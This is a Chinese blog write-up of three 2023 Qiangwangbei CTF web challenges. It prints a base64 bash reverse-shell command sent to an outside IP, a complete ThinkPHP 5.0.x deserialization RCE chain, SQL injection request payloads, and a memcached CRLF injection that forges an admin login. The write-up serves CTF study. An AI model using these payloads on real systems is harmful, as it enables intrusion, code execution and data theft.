Z1d10tのBlog

A note for myself,have fun!

  1. 1. happygame
  2. 2. thinkshop
    1. 2.1. 解题
    2. 2.2. thinkphp5.0.x RCE反序列链分析
  3. 3. thinkshopping
  4. 4. 参考:

2023强网杯初赛WEB复现学习

happygame

参考Notion – The all-in-one workspace for your notes, tasks, wikis, and databases.然后用以下工具连接

项目地址GitHub - fullstorydev/grpcui: An interactive web UI for gRPC, along the lines of postman

之后是打cc6的反序列化链就行了 恶心的是有时候会莫名其妙报错弹不过来 得多打几次

用ysoserial生成文件上传即可

1
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2LzM2LjE0MC45NS4xMjEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}">payload

thinkshop

解题

首先是给了附件 不是直接给了源码包 需要自己docker本地搭一下

根据给的readme搭就行了

1
2
3
内部端口80,flag为环境变量设置flag
首先需要docker load < thinkshop.tar
docker run -tid --name thinkshop -p 36000:80 -e FLAG=flag{test_flag} thinkshop

搭建好之后直接来看start.sh 这里有一些初始化的操作

img

查看shop.sql可以发现 账号和密码 密码是123456的md5之后的值

img

这里有个坑就是登录名不是admin而是1 因为find()在这里去找了主键列查询的是id

img

登录成功之后通过修改商品信息将序列化的数据利用sql注入存入数据库中 然后在商品展示界面会将我们的data部分数据反序列化

利用点如下

img

在商品信息更新这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function do_edit()
{
if(!session('?admin'))
{
$this->error('请先登录','index/admin/login');
}
$goodsModel = new Goods();
$data = input('post.');
$result = $goodsModel->saveGoods($data);
if ($result) {
$this->success('商品信息更新成功', 'index/index/index');
} else {
$this->error('商品信息更新失败');
}
}

input函数是一个自定义函数 会接收我们输入值 在这里是$_POST数组 然后会进入Good类中的saveGoods()

我们跟进

到save函数

img

接着会到Update类中的updatedata()

img

这里会对我们提交的整个post数组遍历

并且对$key也就是键 未做任何限制以及过滤 存在sql注入

注入形式为

1
data`%3Dunhex('十六进制数据')/**/where/**/id%3D1/**/or/**/6%3D6#=1

这里还存在一个小点就是因为是键这里存在注入点 因此我们的恶意payload要全部放在键的位置

所以第一个等号要url编码

此次之外php中变量中的空格会被当作非法符号会被转为_因此这里需要/**/来替代空格

报错可以得知是5.0.23的版本

img

直接找现成的exp 之后我也会调试过一遍这个链子 我分析过写文件的链子 这个直接rce的反而被我忽略了

ThinkPHP5反序列化利用链总结与分析 - FreeBuf网络安全行业门户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
namespace think\process\pipes{
use think\model\Pivot;
ini_set('display_errors',1);
class Windows{
private $files = [];
public function __construct($function,$parameter)
{
$this->files = [new Pivot($function,$parameter)];
}
}
$a = array(new Windows('system','cat /*'));
echo bin2hex(base64_encode(serialize($a)));
}
namespace think{
abstract class Model
{}
}
namespace think\model{
use think\Model;
use think\console\Output;
class Pivot extends Model
{
protected $append = [];
protected $error;
public $parent;
public function __construct($function,$parameter)
{
$this->append['jelly'] = 'getError';
$this->error = new relation\BelongsTo($function,$parameter);
$this->parent = new Output($function,$parameter);
}
}
abstract class Relation
{}
}
namespace think\model\relation{
use think\db\Query;
use think\model\Relation;
abstract class OneToOne extends Relation
{}
class BelongsTo extends OneToOne
{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct($function,$parameter)
{
$this->selfRelation = false;
$this->query = new Query($function,$parameter);
$this->bindAttr = [''];
}
}
}
namespace think\db{
use think\console\Output;
class Query
{
protected $model;
public function __construct($function,$parameter)
{
$this->model = new Output($function,$parameter);
}
}
}
namespace think\console{
use think\session\driver\Memcache;
class Output
{
protected $styles = [];
private $handle;
public function __construct($function,$parameter)
{
$this->styles = ['getAttr'];
$this->handle = new Memcache($function,$parameter);
}
}
}
namespace think\session\driver{
use think\cache\driver\Memcached;
class Memcache
{
protected $handler = null;
protected $config = [
'expire' => '',
'session_name' => '',
];
public function __construct($function,$parameter)
{
$this->handler = new Memcached($function,$parameter);
}
}
}
namespace think\cache\driver{
use think\Request;
class Memcached
{
protected $handler;
protected $options = [];
protected $tag;
public function __construct($function,$parameter)
{
// pop链中需要prefix存在,否则报错
$this->options = ['prefix' => 'jelly/'];
$this->tag = true;
$this->handler = new Request($function,$parameter);
}
}
}
namespace think{
class Request
{
protected $get = [];
protected $filter;
public function __construct($function,$parameter)
{
$this->filter = $function;
$this->get = ["jelly"=>$parameter];
}
}
}

这里还有细节 就是如果我们直接用找到的exp是打不通的 会报错

为什么呢

img

我们来看源码在index.php

img

这里会调用getGoodsById()这个函数 通过id将商品信息展示出来 我们跟进

img

这里存在if语句 只有当我们的序列化前三个字符为YTo时候才能正常返回数据 不然就会报错

那么如果我们直接用现成的exp得到的payload 是以Yzo开头的

img

所以这里相当于是过滤了O开头的序列化数据 因此我们需要用array套一层

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: 8.130.34.53:36000
Content-Length: 3642
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://8.130.34.53:36000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://8.130.34.53:36000/public/index.php/index/admin/goods_edit/id/1.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; PHPSESSID=bd8qvbnd5o75gf8hee58mjc2dl; security=low; session=s%3AwF7W5kbM_l9kvG45vBvcplohNTrNUGDm.rlq4UgfTZE97SVMLHKBWb1E1FKhkK9XSTVSf4RMR5mU; ajs_anonymous_id=16400539-7c9c-4fb2-a5e1-9e30824abd6f; beegosessionID=669d3f25e6e82d40ee79eef74ed5c359
Connection: close

id=1&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3Dunhex('59546f784f6e74704f6a4137547a6f794e7a6f6964476870626d746363484a765932567a633178776158426c633178586157356b6233647a496a6f784f6e747a4f6a4d304f69494164476870626d746363484a765932567a633178776158426c633178586157356b6233647a41475a706247567a496a74684f6a453665326b364d4474504f6a45334f694a3061476c75613178746232526c6246785161585a76644349364d7a7037637a6f354f6949414b6742686348426c626d51694f3245364d547037637a6f314f694a715a57787365534937637a6f344f694a6e5a585246636e4a766369493766584d364f446f6941436f415a584a79623349694f3038364d7a4136496e526f61573572584731765a47567358484a6c624746306157397558454a6c624739755a334e55627949364d7a7037637a6f784e546f6941436f41633256735a6c4a6c6247463061573975496a74694f6a4137637a6f344f6949414b6742786457567965534937547a6f784e446f6964476870626d74635a474a635558566c636e6b694f6a453665334d364f446f6941436f416257396b5a5777694f3038364d6a4136496e526f6157357258474e76626e4e76624756635433563063485630496a6f794f6e747a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a7439637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f794f546f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a614755694f6a493665334d364d5441364967417141476868626d52735a5849694f3038364d6a6736496e526f6157357258474e685932686c5847527961585a6c636c784e5a57316a59574e6f5a5751694f6a4d3665334d364d5441364967417141476868626d52735a5849694f3038364d544d36496e526f6157357258464a6c6358566c633351694f6a493665334d364e6a6f6941436f415a325630496a74684f6a453665334d364e546f69616d567362486b694f334d364e6a6f695932463049433871496a7439637a6f354f6949414b67426d615778305a5849694f334d364e6a6f6963336c7a64475674496a7439637a6f784d446f6941436f4162334230615739756379493759546f784f6e747a4f6a5936496e42795a575a7065434937637a6f324f694a715a577873655338694f33317a4f6a593649674171414852685a794937596a6f784f33317a4f6a6b364967417141474e76626d5a705a79493759546f794f6e747a4f6a5936496d563463476c795a534937637a6f774f6949694f334d364d544936496e4e6c63334e7062323566626d46745a534937637a6f774f6949694f3331396658317a4f6a45784f6949414b6742696157356b515852306369493759546f784f6e74704f6a4137637a6f774f6949694f333139637a6f324f694a7759584a6c626e51694f3038364d6a4136496e526f6157357258474e76626e4e76624756635433563063485630496a6f794f6e747a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a7439637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f794f546f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a614755694f6a493665334d364d5441364967417141476868626d52735a5849694f3038364d6a6736496e526f6157357258474e685932686c5847527961585a6c636c784e5a57316a59574e6f5a5751694f6a4d3665334d364d5441364967417141476868626d52735a5849694f3038364d544d36496e526f6157357258464a6c6358566c633351694f6a493665334d364e6a6f6941436f415a325630496a74684f6a453665334d364e546f69616d567362486b694f334d364e6a6f695932463049433871496a7439637a6f354f6949414b67426d615778305a5849694f334d364e6a6f6963336c7a64475674496a7439637a6f784d446f6941436f4162334230615739756379493759546f784f6e747a4f6a5936496e42795a575a7065434937637a6f324f694a715a577873655338694f33317a4f6a593649674171414852685a794937596a6f784f33317a4f6a6b364967417141474e76626d5a705a79493759546f794f6e747a4f6a5936496d563463476c795a534937637a6f774f6949694f334d364d544936496e4e6c63334e7062323566626d46745a534937637a6f774f6949694f333139665831396658303d')/**/where/**/id%3D1/**/or/**/6%3D6#&data=123%0D%0A

img

成功

img

thinkphp5.0.x RCE反序列链分析

那么我们之前是已经分析过直接写shell文件的链子了 Thinkphp5.0.x~5.2.x版本反序列化链挖掘学习

在这里的链子是直接RCE的

整个链子我愿称之为是5.0.xshell链子的前半段+5.1.xRCE链子的后半段融合版本

前面的链子和5.0.x几乎相同 直到来到Memcached.php write()函数

img

5.0.x中我们是调用了File类中的set方法去写shell

但是这条链子我们还是继续调用本类中的set方法

我们跟进一下 这里着重关注has()方法 传入的$name是我们可控的变量和<getAttr>xxx<getAttr>拼接的结果

img

继续跟进 接着会调用$this->handler->get方法 可以看到此时$this->handler为Request对象 那么调过5.1.xrce链子的都会很熟悉这个Request类 我们就是利用这个类来RCE

img

跟进到Request中的get方法 传入input函数的$this->get就是我们输入的get传参

img

继续跟进到getFilter这里我们的filter还是空值 那么就是由这个函数帮我们赋值的 并且$this->filter可控

img

跟进获取到filter 之后会被当作命令执行函数调用

img

最后到了filterValue() 老朋友了 里面存在call_user_func()直接进行命令执行 这么这个链子就算是完成了

img

整个调用栈为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Request.php:1094, think\Request->filterValue()
Request.php:1040, think\Request->input()
Request.php:706, think\Request->get()
Memcache.php:66, think\cache\driver\Memcache->has()
Memcache.php:98, think\cache\driver\Memcache->set()
Memcached.php:102, think\session\driver\Memcached->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array:{thinkphp/library/think/console/Output.php:212}()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\model\Pivot->toArray()
Model.php:936, think\model\Pivot->toJson()
Model.php:2267, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()

参考:2021 0CTF FINAL wp

thinkshopping

和上一题相同给了附件 先把环境本地搭起来

这一题和上一题不同的是没有了插入账号密码这条数据了

img

并且反序列化入口地址也被删除了

img

最重要的是mysql的secure_file_priv为空 那么这个值不为空的时候比如被设置为/var/lib/mysql-files/

那么用户只能使用 LOAD DATASELECT ... INTO OUTFILE 将文件保存到或者从/var/lib/mysql-files/ 目录中

为空则表示没有限制了

img

那么我们就可以用sql注入来任意文件读取了

但关键是我们该如何登录呢

我们再来看一眼start.sh 可以看到是在11211端口启动了memcached 那么这是什么呢 它是一个内存数据库

img

并且也配置了cache使用memcached做缓存

img

登录的时候 使用了cache获取缓存

跟进find函数 此处调用了memcache的get指令

img

并且根据$key = 'think:' . $this->connection->getConfig('database') . '.' . (is_array($options['table']) ? key($options['table']) : $options['table']) . '|' . $data;

缓存的key格式为think:shop.admin|username

那么怎样控制缓存的值 memcached存在CRLF注入漏洞 参考:php-memcached CRLF绕过 - FreeBuf网络安全行业门户

通俗来看就是可以通过set设置任意值 比如

1
2
3
4
TOKEN%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf
等价于
set snowwolf 0 500 4
wolf

根据大头师傅的方法可以得到memcacged的值的样子[CTF复现计划]2023强网杯初赛 thinkshop[ping]

1
2
3
telnet 127.0.0.1 11211
get think:shop.admin|admin
a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}

除此之外根据大头师傅还有坑点:

这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式:

上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用

所以我们构造CRLF注入命令要把flags设置为4 也就是数组形式

构造

1
username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin

img

然后登录抓包修改payload为

1
data`%3Dunhex('')/**/,`name`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1

参考:

学习于各位厉害的师傅 跪拜:

[CTF复现计划]2023强网杯初赛 thinkshop[ping]

强网杯 2023 By W&M - W&M Team

2021 0CTF FINAL wp

本文最后更新于 天前,文中所描述的信息可能已发生改变